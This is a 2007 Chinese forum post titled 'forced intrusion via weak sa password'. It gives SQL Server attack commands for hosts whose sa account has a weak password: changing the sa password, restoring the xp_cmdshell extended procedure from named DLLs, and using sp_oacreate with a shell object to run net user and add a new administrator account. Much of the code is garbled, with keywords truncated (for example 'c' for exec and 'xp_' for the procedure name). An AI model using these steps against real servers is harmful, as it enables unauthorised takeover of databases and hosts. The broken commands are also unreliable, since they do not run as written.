娱乐新地带论坛

娱乐新地带论坛 (https://bbs.1819.net/index.php)
-   『网络家园』 (https://bbs.1819.net/forumdisplay.php?f=13)
-   -   sa弱口令强行入侵 (https://bbs.1819.net/showthread.php?t=57979)

Erika 2007-12-05 10:46 AM

sa弱口令强行入侵
 
下面这些命令要SQL分离器才能实现,下面是一些关于sa弱口令相关命令。



注:具体问题具体分析,以上方法仅供参考,不一定有效,相关原理知识请自行查找。



一.更改sa口令方法:



用sql综合利用工具连接后,执行命令:



c sp_password NULL,′新密码′,′sa′



(提示:慎用!)



二.简单修补sa弱口令:



方法1:查询分离器连接后执行:



if exists (ct *



dbo. id = object_id(N′[dbo].[xp_]′) and



OBJECTPROPERTY(id, N′IsExtendedProc′) = 1)



c sp_extendedproc N′[dbo].[xp_]′



GO



然后按F5键命令执行完毕。



方法2:查询分离器连接后



第一步执行:use ,



第二步执行:sp_extendedproc ′xp_′,



然后按F5键命令执行完毕。



三.常见情况恢复执行xp_:



1 未能找到存储过程′..xp′。



恢复方法:查询分离器连接后,



第一步执行:C sp_addextendedproc xp_,@dllname =′xplog70.dll′declare @o int,



第二步执行:sp_addextendedproc ′xp_′, ′xpsql70.dll′,



然后按F5键命令执行完毕。



2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)



恢复方法:查询分离器连接后,



第一步执行:sp_extendedproc "xp_",



第二步执行:sp_addextendedproc ′xp_′, ′xpsql70.dll′



然后按F5键命令执行完毕。



3 无法在库 xpweb70.dll 中找到函数 xp_。原因: 127(找不到指定的程序。)



恢复方法:查询分离器连接后,



第一步执行:c sp_extendedproc ′xp_′



第二步执行:c sp_addextendedproc ′xp_′,′xpweb70.dll′



然后按F5键命令执行完毕。



四.终极方法:



如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:



查询分离器连接后,



2000servser系统:



declare @shell int c sp_oacreate ′w.shell′,@shell output



c sp_oamethod @shell,′run′,null,′c:\winnt\system32\cmd. /c net user 新用户 密



码 ′



declare @shell int c sp_oacreate ′w.shell′,@shell output c sp_oamethod



@shell,′run′,null,′c:\winnt\system32\cmd. /c net administrators 新用户







xp或2003server系统:



declare @shell int c sp_oacreate ′w.shell′,@shell output c sp_oamethod



@shell,′run′,null,′c:\windows\system32\cmd. /c net user 新用户 密码 ′



declare @shell int c sp_oacreate ′w.shell′,@shell output c sp_oamethod



@shell,′run′,null,′c:\windows\system32\cmd. /c net administrators 新用



户 ′



其实还有其它办法只要你扫到SA弱口令发现执行不了DOS命令基本上是他的一个扩展储存给删了,只要给他上传一个到SYSTEM32下基本上可以解决。只是这个我还没认真研究。


所有时间均为北京时间。现在的时间是 08:04 AM

©2003-2024 1819.net All rights reserved. © 2024